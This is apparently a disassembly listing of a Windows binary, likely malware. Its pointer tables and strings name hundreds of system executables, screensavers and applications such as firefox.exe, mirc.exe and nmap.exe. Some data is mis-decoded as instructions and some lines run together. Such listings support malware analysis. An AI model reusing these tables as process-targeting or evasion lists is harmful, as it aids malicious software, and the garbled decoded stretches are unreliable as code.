		dd offset aUserinit_exe	; "userinit.exe"
		dd offset aUsrmlnka_exe	; "usrmlnka.exe"
		dd offset aUsrprbda_exe	; "usrprbda.exe"
		dd offset aUsrshuta_exe	; "usrshuta.exe"
		dd offset aUtilman_exe	; "utilman.exe"
		dd offset aVerclsid_exe	; "verclsid.exe"
		dd offset aVerifier_exe	; "verifier.exe"
		dd offset aViral_exe	; "viral.exe"
		dd offset aVssadmin_exe	; "vssadmin.exe"
		dd offset aVssvc_exe	; "vssvc.exe"
		dd offset aVwipxspx_exe	; "vwipxspx.exe"
		dd offset aW32tm_exe	; "w32tm.exe"
		dd offset aWextract_exe	; "wextract.exe"
		dd offset aWiaacmgr_exe	; "wiaacmgr.exe"
		dd offset aWinchat_exe	; "winchat.exe"
		dd offset aWindbver_exe	; "WINDBVER.EXE"
		dd offset aWinhlp32_exe	; "winhlp32.exe"
		dd offset aWinmine_exe	; "winmine.exe"
		dd offset aWinmsd_exe	; "winmsd.exe"
		dd offset aWinspool_exe	; "winspool.exe"
		dd offset aWinver_exe	; "winver.exe"
		dd offset aWjview_exe	; "wjview.exe"
		dd offset aWowdeb_exe	; "wowdeb.exe"
		dd offset aWowexec_exe	; "wowexec.exe"
		dd offset aWpabaln_exe	; "wpabaln.exe"
		dd offset aWpnpinst_exe	; "wpnpinst.exe"
		dd offset aWrite_exe	; "write.exe"
		dd offset aWscntfy_exe	; "wscntfy.exe"
		dd offset aWscript_exe	; "wscript.exe"
		dd offset aWuauclt_exe	; "wuauclt.exe"
		dd offset aWuauclt1_exe	; "wuauclt1.exe"
		dd offset aWupdmgr_exe	; "wupdmgr.exe"
		dd offset aXcopy_exe	; "xcopy.exe"
		dd offset aAcdsee_scr	; "ACDSee.scr"
		dd offset aLogon_scr	; "logon.scr"
		dd offset aScrnsave_scr	; "scrnsave.scr"
		dd offset aSeismosaver_sc ; "SeismoSaver.scr"
		dd offset aSs3dfo_scr	; "ss3dfo.scr"
		dd offset aSsbezier_scr	; "ssbezier.scr"
		dd offset aSsflwbox_scr	; "ssflwbox.scr"
		dd offset aSsmarque_scr	; "ssmarque.scr"
		dd offset aSsmypics_scr	; "ssmypics.scr"
		dd offset aSsmyst_scr	; "ssmyst.scr"
		dd offset aSspipes_scr	; "sspipes.scr"
		dd offset aSsstars_scr	; "ssstars.scr"
		dd offset aSstext3d_scr	; "sstext3d.scr"
		dd offset aSystem_2	; "System"
		dd offset aDevldr32_exe	; "devldr32.exe"
		dd offset aInternat_exe	; "internat.exe"
		dd offset aAti2evxx_exe	; "ati2evxx.exe"
		dd offset aWudfhost_exe	; "WUDFHost.exe"
		dd offset aPenservice_exe ; "penservice.exe"
		dd offset aWmiexe_exe	; "wmiexe.exe"
		dd offset aWinmgmt_exe	; "winmgmt.exe"
		dd offset aWercon_exe	; "wercon.exe"
		dd offset aTaskeng_exe	; "taskeng.exe"
		dd offset aHkcmd_exe	; "hkcmd.exe"
		dd offset aHotkey_exe	; "hotkey.exe"
		dd offset aJusched_exe	; "jusched.exe"
		dd offset aPoint32_exe	; "point32.exe"
		dd offset aQttask_exe	; "qttask.exe"
		dd offset aWisptis_exe	; "wisptis.exe"
		dd offset aCrypserv_exe	; "crypserv.exe"
		dd offset aInetinfo_exe	; "inetinfo.exe"
		dd offset aIgfxpers_exe	; "igfxpers.exe"
		dd offset aIgfxtray_exe	; "igfxtray.exe"
		dd offset aPctspk_exe	; "pctspk.exe"
		dd offset aMstask_exe	; "mstask.exe"
		dd offset aSmagent_exe	; "smagent.exe"
		dd offset aNmssvc_exe	; "nmssvc.exe"
		dd offset aHpsysdrv_exe	; "hpsysdrv.exe"
		dd offset aHpcmpmgr_exe	; "hpcmpmgr.exe"
		dd offset aNhksrv_exe	; "nhksrv.exe"
		dd offset aHpzipm12_exe	; "HPZipm12.exe"
		dd offset aCli_exe	; "cli.exe"
		dd offset aTphkmgr_exe	; "TPHKMGR.exe"
		dd offset aSmax4pnp_exe	; "smax4pnp.exe"
		dd offset aLoadqm_exe	; "loadqm.exe"
		dd offset aLexbces_exe	; "lexbces.exe"
		dd offset aDwm_exe	; "dwm.exe"
		dd offset aLsm_exe	; "lsm.exe"
		dd offset aMdm_exe	; "mdm.exe"
		dd offset aMssearch_exe	; "mssearch.exe"
		dd offset aRegsvc_exe	; "regsvc.exe"
		dd offset aSdclt_exe	; "sdclt.exe"
		dd offset aSlsvc_exe	; "slsvc.exe"
		align 10h
off_43F640	dd offset loc_439030	; DATA XREF: sub_417A90:loc_417B83r
		dd offset aWmsoft_exe	; "wmsoft*.exe"
		dd offset aAlcmtr_exe	; "ALCMTR.EXE"
		dd offset aAlcwzrd_exe	; "ALCWZRD.EXE"
		dd offset aHdashcut_exe	; "HDAShCut.exe"
		dd offset aRthdcpl_exe	; "RTHDCPL.EXE"
		dd offset aRtlcpl_exe	; "RTLCPL.EXE"
		dd offset aMiccal_exe	; "MicCal.exe"
		dd offset aRtlupd_exe	; "RtlUpd.exe"
		dd offset aAlcrmv_exe	; "alcrmv.exe"
		dd offset aAlcupd_exe	; "alcupd.exe"
		dd offset aExplorer_exe_0 ; "explorer.exe"
		dd offset aHh_exe	; "hh.exe"
		dd offset aIsuninst_exe	; "IsUninst.exe"
		dd offset aIun6002_exe	; "iun6002.exe"
		dd offset aNotepad_exe	; "NOTEPAD.EXE"
		dd offset aRegedit_exe	; "regedit.exe"
		dd offset aRegtlib_exe	; "REGTLIB.EXE"
		dd offset aSetdebug_exe	; "setdebug.exe"
		dd offset aSetup1_exe	; "Setup1.exe"
		dd offset aSoundman_exe	; "SOUNDMAN.EXE"
		dd offset aSt6unst_exe	; "ST6UNST.EXE"
		dd offset aTaskman_exe	; "TASKMAN.EXE"
		dd offset aTwunk_16_exe	; "twunk_16.exe"
		dd offset aTwunk_32_exe	; "twunk_32.exe"
		dd offset aWinhelp_exe	; "winhelp.exe"
		dd offset aWinhlp32_exe	; "winhlp32.exe"
		dd offset aSystem_2	; "System"
		dd offset aHtpatch_exe	; "htpatch.exe"
		dd offset aPoint32_exe	; "point32.exe"
		dd offset aSmagent_exe	; "smagent.exe"
		dd offset aSmax4pnp_exe	; "smax4pnp.exe"
		dd offset aSound_exe	; "*sound*.exe"
		align 8
off_43F6C8	dd offset loc_439030	; DATA XREF: sub_417A90:loc_417BC0r
		dd offset aWmsoft_exe	; "wmsoft*.exe"
		dd offset aWmpcodecs_exe ; "wmpcodecs.exe"
		dd offset aMsxml32_exe	; "msxml32.exe"
		dd offset aMsnmsgr_exe	; "msnmsgr.exe"
		dd offset aWmiprvse_exe	; "wmiprvse.exe"
		dd offset aMsmsgs_exe	; "msmsgs.exe"
		dd offset aMirc_exe	; "mirc.exe"
		dd offset aXchat_exe	; "xchat.exe"
		dd offset aFirefox_exe	; "firefox.exe"
		dd offset aThunderbird_ex ; "thunderbird.exe"
		dd offset dword_43F8D0
		dd offset dword_43F8C4
		dd offset dword_43F8B4
		dd offset dword_43F8A8
		dd offset dword_43F89C
		dd offset dword_43F894
		dd offset dword_43F884
		dd offset dword_43F874
		dd offset aIexplore_exe	; "iexplore.exe"
		dd offset dword_43F868
		dd offset dword_43F85C
		dd offset dword_43F84C
		dd offset dword_43F83C
		dd offset aNotepad_exe_0 ; "notepad.exe"
		dd offset aWvsscheduler_e ; "WVSScheduler.exe"
		dd offset dword_43F81C
		dd offset dword_43F80C
		dd offset dword_43F7FC
		dd offset dword_43F7F0
		dd offset dword_43F7E4
		dd offset loc_43F7DB+1
; ---------------------------------------------------------------------------
		sal	bh, 1
		inc	ebx
		add	ah, al
		test	dword ptr [ebx+0], offset aApache_exe ;	"apache.exe"
		lodsb
		test	dword ptr [ebx+0], 43F7A4h
		xchg	eax, esp


loc_43F75D:				; CODE XREF: .text:0043F764j
		test	dword ptr [ebx+0], offset dword_43F788
		jl	short loc_43F75D
		inc	ebx
		add	[edi+esi*8+43h], ch
		add	[edi+6Dh], dh
		jo	short near ptr loc_43F7DB+1
		popa
		jns	short loc_43F7D8
		jb	short loc_43F7A3
; ---------------------------------------------------------------------------
		db 65h,	78h, 65h
		dd 0
		dd 726E6977h, 652E7261h, 6578h
dword_43F788	dd 69766F6Dh, 2E6B6D65h, 657865h, 61677661h, 7276736Dh
					; DATA XREF: .text:loc_43F75Do
		dd 6578652Eh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43F7A3:				; CODE XREF: .text:0043F773j
		add	[ecx+76h], ah
		arpl	[bp+di+0], sp
; ---------------------------------------------------------------------------
		dw 0
aAvgupsvc	db 'avgupsvc',0
		align 4
aApache_exe	db 'apache.exe',0       ; DATA XREF: .text:0043F74Do
		align 4
aNmap_exe	db 'nmap.exe',0
		align 10h
		dd 74747570h, 78652E79h
; ---------------------------------------------------------------------------


loc_43F7D8:				; CODE XREF: .text:0043F771j
		add	gs:[eax], al


loc_43F7DB:				; CODE XREF: .text:0043F76Ej
					; DATA XREF: .text:0043F744o
		add	[edx], ch
		db	2Eh
		jnb	short loc_43F843
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
dword_43F7E4	dd 7A6E6977h, 652E7069h, 6578hdword_43F7F0	dd 65747563h, 2E707466h, 657865hdword_43F7FC	dd 73616C66h, 70786668h, 6578652Eh, 0dword_43F80C	dd 54616554h, 72656D69h, 6578652Eh, 0dword_43F81C	dd 7253534Ch, 652E6376h, 6578haWvsscheduler_e	db 'WVSScheduler.exe',0 ; DATA XREF: .text:0043F72Co
		align 4
dword_43F83C	dd 6E706D77h			db 73h,	63h, 66h
; ---------------------------------------------------------------------------


loc_43F843:				; CODE XREF: .text:0043F7DDj
		db	67h, 2Eh, 65h
		js	near ptr 0F8ADh
; ---------------------------------------------------------------------------
		dd 0
dword_43F84C	dd 4F545541h, 43455845h, 5441422Eh, 0dword_43F85C	dd 61657473h, 78652E6Dh, 65hdword_43F868	dd 64726F77h, 2E646170h, 657865hdword_43F874	dd 65736363h, 72676D74h, 6578652Eh, 0dword_43F884	dd 76656363h, 72676D74h, 6578652Eh, 0dword_43F894	dd 2E6D6961h, 657865hdword_43F89C	dd 70616363h, 78652E70h, 65hdword_43F8A8	dd 73767472h, 2E6E6163h, 657865hdword_43F8B4	dd 77666564h, 68637461h, 6578652Eh, 0dword_43F8C4	dd 656F736Dh, 6578652Eh, 0dword_43F8D0	dd 6D69736Dh, 78652E6Eh, 65haThunderbird_ex	db 'thunderbird.exe',0  ; DATA XREF: .text:0043F6F0o
aFirefox_exe	db 'firefox.exe',0      ; DATA XREF: .text:0043F6ECo
aXchat_exe	db 'xchat.exe',0        ; DATA XREF: .text:0043F6E8o
		align 4
aMirc_exe	db 'mirc.exe',0         ; DATA XREF: .text:0043F6E4o
		align 10h
aMsmsgs_exe	db 'msmsgs.exe',0       ; DATA XREF: .text:0043F6E0o
		align 4
aWmiprvse_exe	db 'wmiprvse.exe',0     ; DATA XREF: .text:0043F6DCo
		align 4
aMsnmsgr_exe	db 'msnmsgr.exe',0      ; DATA XREF: .text:0043F6D8o
aMsxml32_exe	db 'msxml32.exe',0      ; DATA XREF: .text:0043F6D4o
aWmpcodecs_exe	db 'wmpcodecs.exe',0    ; DATA XREF: .text:0043F6D0o
		align 4
aSound_exe	db '*sound*.exe',0      ; DATA XREF: .text:0043F6C0o
aHtpatch_exe	db 'htpatch.exe',0      ; DATA XREF: .text:0043F6B0o
aWinhelp_exe	db 'winhelp.exe',0      ; DATA XREF: .text:0043F6A4o
aTaskman_exe	db 'TASKMAN.EXE',0      ; DATA XREF: .text:0043F698o
aSt6unst_exe	db 'ST6UNST.EXE',0      ; DATA XREF: .text:0043F694o
aSoundman_exe	db 'SOUNDMAN.EXE',0     ; DATA XREF: .text:0043F690o
		align 10h
aSetup1_exe	db 'Setup1.exe',0       ; DATA XREF: .text:0043F68Co
		align 4
aSetdebug_exe	db 'setdebug.exe',0     ; DATA XREF: .text:0043F688o
		align 4
aRegtlib_exe	db 'REGTLIB.EXE',0      ; DATA XREF: .text:0043F684o
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .text:0043F680o
aNotepad_exe	db 'NOTEPAD.EXE',0      ; DATA XREF: .text:0043F67Co
aIun6002_exe	db 'iun6002.exe',0      ; DATA XREF: .text:0043F678o
aIsuninst_exe	db 'IsUninst.exe',0     ; DATA XREF: .text:0043F674o
		align 4
aHh_exe		db 'hh.exe',0           ; DATA XREF: .text:0043F670o
		align 4
aExplorer_exe_0	db 'explorer.exe',0     ; DATA XREF: sub_41F455+85o
					; .text:0043F66Co
		align 4
aAlcupd_exe	db 'alcupd.exe',0       ; DATA XREF: .text:0043F668o
		align 10h
aAlcrmv_exe	db 'alcrmv.exe',0       ; DATA XREF: .text:0043F664o
		align 4
aRtlupd_exe	db 'RtlUpd.exe',0       ; DATA XREF: .text:0043F660o
		align 4
aMiccal_exe	db 'MicCal.exe',0       ; DATA XREF: .text:0043F65Co
		align 4
aRthdcpl_exe	db 'RTHDCPL.EXE',0      ; DATA XREF: .text:0043F654o
aAlcwzrd_exe	db 'ALCWZRD.EXE',0      ; DATA XREF: .text:0043F64Co
aAlcmtr_exe	db 'ALCMTR.EXE',0       ; DATA XREF: .text:0043F648o
		align 4
aSlsvc_exe	db 'slsvc.exe',0        ; DATA XREF: .text:0043F638o
		align 4
aSdclt_exe	db 'sdclt.exe',0        ; DATA XREF: .text:0043F634o
		align 10h
aRegsvc_exe	db 'regsvc.exe',0       ; DATA XREF: .text:0043F630o
		align 4
aMssearch_exe	db 'mssearch.exe',0     ; DATA XREF: .text:0043F62Co
		align 4
aMdm_exe	db 'mdm.exe',0          ; DATA XREF: .text:0043F628o
aLsm_exe	db 'lsm.exe',0          ; DATA XREF: .text:0043F624o
aDwm_exe	db 'dwm.exe',0          ; DATA XREF: .text:0043F620o
aLexbces_exe	db 'lexbces.exe',0      ; DATA XREF: .text:0043F61Co
aLoadqm_exe	db 'loadqm.exe',0       ; DATA XREF: .text:0043F618o
		align 4
aSmax4pnp_exe	db 'smax4pnp.exe',0     ; DATA XREF: .text:0043F614o
					; .text:0043F6BCo
		align 4
aTphkmgr_exe	db 'TPHKMGR.exe',0      ; DATA XREF: .text:0043F610o
aCli_exe	db 'cli.exe',0          ; DATA XREF: .text:0043F60Co
aHpzipm12_exe	db 'HPZipm12.exe',0     ; DATA XREF: .text:0043F608o
		align 10h
aNhksrv_exe	db 'nhksrv.exe',0       ; DATA XREF: .text:0043F604o
		align 4
aHpcmpmgr_exe	db 'hpcmpmgr.exe',0     ; DATA XREF: .text:0043F600o
		align 4
aHpsysdrv_exe	db 'hpsysdrv.exe',0     ; DATA XREF: .text:0043F5FCo
		align 4
aNmssvc_exe	db 'nmssvc.exe',0       ; DATA XREF: .text:0043F5F8o
		align 4
aSmagent_exe	db 'smagent.exe',0      ; DATA XREF: .text:0043F5F4o
					; .text:0043F6B8o
aMstask_exe	db 'mstask.exe',0       ; DATA XREF: .text:0043F5F0o
		align 10h
aPctspk_exe	db 'pctspk.exe',0       ; DATA XREF: .text:0043F5ECo
		align 4
aIgfxtray_exe	db 'igfxtray.exe',0     ; DATA XREF: .text:0043F5E8o
		align 4
aIgfxpers_exe	db 'igfxpers.exe',0     ; DATA XREF: .text:0043F5E4o
		align 4
aInetinfo_exe	db 'inetinfo.exe',0     ; DATA XREF: .text:0043F5E0o
		align 4
aCrypserv_exe	db 'crypserv.exe',0     ; DATA XREF: .text:0043F5DCo
		align 4
aWisptis_exe	db 'wisptis.exe',0      ; DATA XREF: .text:0043F5D8o
aQttask_exe	db 'qttask.exe',0       ; DATA XREF: .text:0043F5D4o
		align 4
aPoint32_exe	db 'point32.exe',0      ; DATA XREF: .text:0043F5D0o
					; .text:0043F6B4o
aJusched_exe	db 'jusched.exe',0      ; DATA XREF: .text:0043F5CCo
aHotkey_exe	db 'hotkey.exe',0       ; DATA XREF: .text:0043F5C8o
		align 4
aHkcmd_exe	db 'hkcmd.exe',0        ; DATA XREF: .text:0043F5C4o
		align 4
aTaskeng_exe	db 'taskeng.exe',0      ; DATA XREF: .text:0043F5C0o
aWercon_exe	db 'wercon.exe',0       ; DATA XREF: .text:0043F5BCo
		align 4
aWinmgmt_exe	db 'winmgmt.exe',0      ; DATA XREF: .text:0043F5B8o
aWmiexe_exe	db 'wmiexe.exe',0       ; DATA XREF: .text:0043F5B4o
		align 4
aPenservice_exe	db 'penservice.exe',0   ; DATA XREF: .text:0043F5B0o
		align 4
aWudfhost_exe	db 'WUDFHost.exe',0     ; DATA XREF: .text:0043F5ACo
		align 4
aInternat_exe	db 'internat.exe',0     ; DATA XREF: .text:0043F5A4o
		align 4
aDevldr32_exe	db 'devldr32.exe',0     ; DATA XREF: .text:0043F5A0o
		align 4
aSystem_2	db 'System',0           ; DATA XREF: .text:0043F59Co
					; .text:0043F6ACo
		align 4
aSstext3d_scr	db 'sstext3d.scr',0     ; DATA XREF: .text:0043F598o
		align 4
aSsstars_scr	db 'ssstars.scr',0      ; DATA XREF: .text:0043F594o
aSspipes_scr	db 'sspipes.scr',0      ; DATA XREF: .text:0043F590o
aSsmyst_scr	db 'ssmyst.scr',0       ; DATA XREF: .text:0043F58Co
		align 10h
aSsmypics_scr	db 'ssmypics.scr',0     ; DATA XREF: .text:0043F588o
		align 10h
aSsmarque_scr	db 'ssmarque.scr',0     ; DATA XREF: .text:0043F584o
		align 10h
aSsflwbox_scr	db 'ssflwbox.scr',0     ; DATA XREF: .text:0043F580o
		align 10h
aSsbezier_scr	db 'ssbezier.scr',0     ; DATA XREF: .text:0043F57Co
		align 10h
aSs3dfo_scr	db 'ss3dfo.scr',0       ; DATA XREF: .text:0043F578o
		align 4
aSeismosaver_sc	db 'SeismoSaver.scr',0  ; DATA XREF: .text:0043F574o
aScrnsave_scr	db 'scrnsave.scr',0     ; DATA XREF: .text:0043F570o
		align 4
aLogon_scr	db 'logon.scr',0        ; DATA XREF: .text:0043F56Co
		align 4
aAcdsee_scr	db 'ACDSee.scr',0       ; DATA XREF: .text:0043F568o
		align 4
aXcopy_exe	db 'xcopy.exe',0        ; DATA XREF: .text:0043F564o
		align 10h
aWupdmgr_exe	db 'wupdmgr.exe',0      ; DATA XREF: .text:0043F560o
aWuauclt1_exe	db 'wuauclt1.exe',0     ; DATA XREF: .text:0043F55Co
		align 4
aWuauclt_exe	db 'wuauclt.exe',0      ; DATA XREF: .text:0043F558o
aWscript_exe	db 'wscript.exe',0      ; DATA XREF: .text:0043F554o
aWscntfy_exe	db 'wscntfy.exe',0      ; DATA XREF: .text:0043F550o
aWrite_exe	db 'write.exe',0        ; DATA XREF: .text:0043F54Co
		align 4
aWpnpinst_exe	db 'wpnpinst.exe',0     ; DATA XREF: .text:0043F548o
		align 4
aWpabaln_exe	db 'wpabaln.exe',0      ; DATA XREF: .text:0043F544o
aWowexec_exe	db 'wowexec.exe',0      ; DATA XREF: .text:0043F540o
aWowdeb_exe	db 'wowdeb.exe',0       ; DATA XREF: .text:0043F53Co
		align 10h
aWjview_exe	db 'wjview.exe',0       ; DATA XREF: .text:0043F538o
		align 4
aWinver_exe	db 'winver.exe',0       ; DATA XREF: .text:0043F534o
		align 4
aWinspool_exe	db 'winspool.exe',0     ; DATA XREF: .text:0043F530o
		align 4
aWinmsd_exe	db 'winmsd.exe',0       ; DATA XREF: .text:0043F52Co
		align 4
aWinmine_exe	db 'winmine.exe',0      ; DATA XREF: .text:0043F528o
aWinhlp32_exe	db 'winhlp32.exe',0     ; DATA XREF: .text:0043F524o
					; .text:0043F6A8o
		align 10h
aWindbver_exe	db 'WINDBVER.EXE',0     ; DATA XREF: .text:0043F520o
		align 10h
aWinchat_exe	db 'winchat.exe',0      ; DATA XREF: .text:0043F51Co
aWiaacmgr_exe	db 'wiaacmgr.exe',0     ; DATA XREF: .text:0043F518o
		align 4
aWextract_exe	db 'wextract.exe',0     ; DATA XREF: .text:0043F514o
		align 4
aW32tm_exe	db 'w32tm.exe',0        ; DATA XREF: .text:0043F510o
		align 4
aVwipxspx_exe	db 'vwipxspx.exe',0     ; DATA XREF: .text:0043F50Co
		align 4
aVssvc_exe	db 'vssvc.exe',0        ; DATA XREF: .text:0043F508o
		align 4
aVssadmin_exe	db 'vssadmin.exe',0     ; DATA XREF: .text:0043F504o
		align 4
aViral_exe	db 'viral.exe',0        ; DATA XREF: .text:0043F500o
		align 10h
aVerifier_exe	db 'verifier.exe',0     ; DATA XREF: .text:0043F4FCo
		align 10h
aVerclsid_exe	db 'verclsid.exe',0     ; DATA XREF: .text:0043F4F8o
		align 10h
aUtilman_exe	db 'utilman.exe',0      ; DATA XREF: .text:0043F4F4o
aUsrshuta_exe	db 'usrshuta.exe',0     ; DATA XREF: .text:0043F4F0o
		align 4
aUsrprbda_exe	db 'usrprbda.exe',0     ; DATA XREF: .text:0043F4ECo
		align 4
aUsrmlnka_exe	db 'usrmlnka.exe',0     ; DATA XREF: .text:0043F4E8o
		align 4
aUserinit_exe	db 'userinit.exe',0     ; DATA XREF: .text:0043F4E4o
		align 4
aUser_exe	db 'user.exe',0         ; DATA XREF: .text:0043F4E0o
		align 4
aUps_exe	db 'ups.exe',0          ; DATA XREF: .text:0043F4DCo
aUpnpcont_exe	db 'upnpcont.exe',0     ; DATA XREF: .text:0043F4D8o
		align 10h
aUnlodctr_exe	db 'unlodctr.exe',0     ; DATA XREF: .text:0043F4D4o
		align 10h
aTypeperf_exe	db 'typeperf.exe',0     ; DATA XREF: .text:0043F4D0o
		align 10h
aTwunk_32_exe	db 'twunk_32.exe',0     ; DATA XREF: .text:0043F4CCo
					; .text:0043F6A0o
		align 10h
aTwunk_16_exe	db 'twunk_16.exe',0     ; DATA XREF: .text:0043F4C8o
					; .text:0043F69Co
		align 10h
aTsshutdn_exe	db 'tsshutdn.exe',0     ; DATA XREF: .text:0043F4C4o
		align 10h
aTskill_exe	db 'tskill.exe',0       ; DATA XREF: .text:0043F4C0o
		align 4
aTsdiscon_exe	db 'tsdiscon.exe',0     ; DATA XREF: .text:0043F4BCo
		align 4
aTscupgrd_exe	db 'tscupgrd.exe',0     ; DATA XREF: .text:0043F4B8o
		align 4
aTscon_exe	db 'tscon.exe',0        ; DATA XREF: .text:0043F4B4o
		align 4
aTracert6_exe	db 'tracert6.exe',0     ; DATA XREF: .text:0043F4B0o
		align 4
aTracert_exe	db 'tracert.exe',0      ; DATA XREF: .text:0043F4ACo
aTracerpt_exe	db 'tracerpt.exe',0     ; DATA XREF: .text:0043F4A8o
		align 4
aTourstart_exe	db 'tourstart.exe',0    ; DATA XREF: .text:0043F4A4o
		align 4
aTlntsvr_exe	db 'tlntsvr.exe',0      ; DATA XREF: .text:0043F4A0o
aTlntsess_exe	db 'tlntsess.exe',0     ; DATA XREF: .text:0043F49Co
		align 10h
aTlntadmn_exe	db 'tlntadmn.exe',0     ; DATA XREF: .text:0043F498o
		align 10h
aTftp_exe	db 'tftp.exe',0         ; DATA XREF: .text:0043F494o
		align 4
aTelnet_exe	db 'telnet.exe',0       ; DATA XREF: .text:0043F490o
		align 4
aTcpsvcs_exe	db 'tcpsvcs.exe',0      ; DATA XREF: .text:0043F48Co
aTcmsetup_exe	db 'tcmsetup.exe',0     ; DATA XREF: .text:0043F488o
		align 4
aTaskmgr_exe	db 'taskmgr.exe',0      ; DATA XREF: .text:0043F484o
aTaskman_exe_0	db 'taskman.exe',0      ; DATA XREF: .text:0043F480o
aTasklist_exe	db 'tasklist.exe',0     ; DATA XREF: .text:0043F47Co
					; .text:off_4473CCo ...
		align 4
aTaskkill_exe	db 'taskkill.exe',0     ; DATA XREF: .text:0043F478o
		align 4
aSystray_exe	db 'systray.exe',0      ; DATA XREF: .text:off_432E04o
					; .text:0043F474o
aSysteminfo_exe	db 'systeminfo.exe',0   ; DATA XREF: .text:0043F470o
		align 4
aSysocmgr_exe	db 'sysocmgr.exe',0     ; DATA XREF: .text:0043F46Co
		align 4
aSyskey_exe	db 'syskey.exe',0       ; DATA XREF: .text:0043F468o
		align 4
aSysedit_exe	db 'sysedit.exe',0      ; DATA XREF: .text:0043F464o
aSyncapp_exe	db 'syncapp.exe',0      ; DATA XREF: .text:0043F460o
aSvchost_exe	db 'svchost.exe',0      ; DATA XREF: .text:0043F45Co
aSubst_exe	db 'subst.exe',0        ; DATA XREF: .text:0043F458o
		align 4
aSubrange_uce	db 'subrange.uce',0     ; DATA XREF: .text:0043F454o
		align 4
aStimon_exe	db 'stimon.exe',0       ; DATA XREF: .text:0043F450o
		align 10h
aSpupdsvc_exe	db 'spupdsvc.exe',0     ; DATA XREF: .text:0043F44Co
		align 10h
aSprestrt_exe	db 'sprestrt.exe',0     ; DATA XREF: .text:0043F448o
		align 10h
aSpoolsv_exe	db 'spoolsv.exe',0      ; DATA XREF: .text:0043F444o
aSpnpinst_exe	db 'spnpinst.exe',0     ; DATA XREF: .text:0043F440o
		align 4
aSpiisupd_exe	db 'spiisupd.exe',0     ; DATA XREF: .text:0043F43Co
		align 4
aSpider_exe	db 'spider.exe',0       ; DATA XREF: .text:0043F438o
		align 4
aSort_exe	db 'sort.exe',0         ; DATA XREF: .text:0043F434o
		align 4
aSol_exe	db 'sol.exe',0          ; DATA XREF: .text:0043F430o
aSndvol32_exe	db 'sndvol32.exe',0     ; DATA XREF: .text:0043F42Co
		align 4
aSndrec32_exe	db 'sndrec32.exe',0     ; DATA XREF: .text:0043F428o
		align 4
aSmss_exe	db 'smss.exe',0         ; DATA XREF: .text:0043F424o
		align 4
aSmlogsvc_exe	db 'smlogsvc.exe',0     ; DATA XREF: .text:0043F420o
		align 4
aSmbinst_exe	db 'smbinst.exe',0      ; DATA XREF: .text:0043F41Co
aSkeys_exe	db 'skeys.exe',0        ; DATA XREF: .text:0043F418o
		align 10h
aSigverif_exe	db 'sigverif.exe',0     ; DATA XREF: .text:0043F414o
		align 10h
aShutdown_exe	db 'shutdown.exe',0     ; DATA XREF: .text:0043F410o
		align 10h
aShrpubw_exe	db 'shrpubw.exe',0      ; DATA XREF: .text:0043F40Co
aShmgrate_exe	db 'shmgrate.exe',0     ; DATA XREF: .text:0043F408o
		align 4
aShare_exe	db 'share.exe',0        ; DATA XREF: .text:0043F404o
		align 4
aShadow_exe	db 'shadow.exe',0       ; DATA XREF: .text:0043F400o
		align 4
aSfc_exe	db 'sfc.exe',0          ; DATA XREF: .text:0043F3FCo
aSetver_exe	db 'setver.exe',0       ; DATA XREF: .text:0043F3F8o
		align 4
aSetup_exe	db 'setup.exe',0        ; DATA XREF: .text:0043F3F4o
		align 4
aSethc_exe	db 'sethc.exe',0        ; DATA XREF: .text:0043F3F0o
		align 10h
aSessmgr_exe	db 'sessmgr.exe',0      ; DATA XREF: .text:0043F3ECo
aServices_exe	db 'services.exe',0     ; DATA XREF: .text:0043F3E8o
		align 4
aSecedit_exe	db 'secedit.exe',0      ; DATA XREF: .text:0043F3E4o
aSdbinst_exe	db 'sdbinst.exe',0      ; DATA XREF: .text:0043F3E0o
aSchtasks_exe	db 'schtasks.exe',0     ; DATA XREF: .text:0043F3DCo
		align 4
aScardsvr_exe	db 'scardsvr.exe',0     ; DATA XREF: .text:0043F3D8o
		align 4
aSc_exe		db 'sc.exe',0           ; DATA XREF: .text:0043F3D4o
		align 4
aSavedump_exe	db 'savedump.exe',0     ; DATA XREF: .text:0043F3D0o
		align 4
aRwinsta_exe	db 'rwinsta.exe',0      ; DATA XREF: .text:0043F3CCo
aRunonce_exe	db 'runonce.exe',0      ; DATA XREF: .text:0043F3C8o
aRundll32_exe	db 'rundll32.exe',0     ; DATA XREF: .text:0043F3C4o
		align 4
aRunas_exe	db 'runas.exe',0        ; DATA XREF: .text:0043F3C0o
		align 10h
aRtlcpl_exe	db 'RTLCPL.EXE',0       ; DATA XREF: .text:0043F3BCo
					; .text:0043F658o
		align 4
aRtcshare_exe	db 'rtcshare.exe',0     ; DATA XREF: .text:0043F3B8o
		align 4
aRsvp_exe	db 'rsvp.exe',0         ; DATA XREF: .text:0043F3B4o
		align 4
aRsopprov_exe	db 'rsopprov.exe',0     ; DATA XREF: .text:0043F3B0o
		align 4
aRsnotify_exe	db 'rsnotify.exe',0     ; DATA XREF: .text:0043F3ACo
		align 4
aRsmui_exe	db 'rsmui.exe',0        ; DATA XREF: .text:0043F3A8o
		align 4
aRsmsink_exe	db 'rsmsink.exe',0      ; DATA XREF: .text:0043F3A4o
aRsm_exe	db 'rsm.exe',0          ; DATA XREF: .text:0043F3A0o
aRsh_exe	db 'rsh.exe',0          ; DATA XREF: .text:0043F39Co
aRoutemon_exe	db 'routemon.exe',0     ; DATA XREF: .text:0043F398o
		align 10h
aRoute_exe	db 'route.exe',0        ; DATA XREF: .text:0043F394o
		align 4
aRexec_exe	db 'rexec.exe',0        ; DATA XREF: .text:0043F390o
		align 4
aReset_exe	db 'reset.exe',0        ; DATA XREF: .text:0043F38Co
		align 4
aReplace_exe	db 'replace.exe',0      ; DATA XREF: .text:0043F388o
aRelog_exe	db 'relog.exe',0        ; DATA XREF: .text:0043F384o
		align 4
aRegwiz_exe	db 'regwiz.exe',0       ; DATA XREF: .text:0043F380o
		align 4
aRegsvr32_exe	db 'regsvr32.exe',0     ; DATA XREF: .text:0043F37Co
		align 4
aRegini_exe	db 'regini.exe',0       ; DATA XREF: .text:0043F378o
		align 4
aRegedt32_exe	db 'regedt32.exe',0     ; DATA XREF: .text:0043F374o
		align 4
aRegcladm_exe	db 'REGCLADM.EXE',0     ; DATA XREF: .text:0043F370o
		align 4
aReg_exe	db 'reg.exe',0          ; DATA XREF: .text:0043F36Co
aRedir_exe	db 'redir.exe',0        ; DATA XREF: .text:0043F368o
		align 4
aRecover_exe	db 'recover.exe',0      ; DATA XREF: .text:0043F364o
aRdshost_exe	db 'rdshost.exe',0      ; DATA XREF: .text:0043F360o
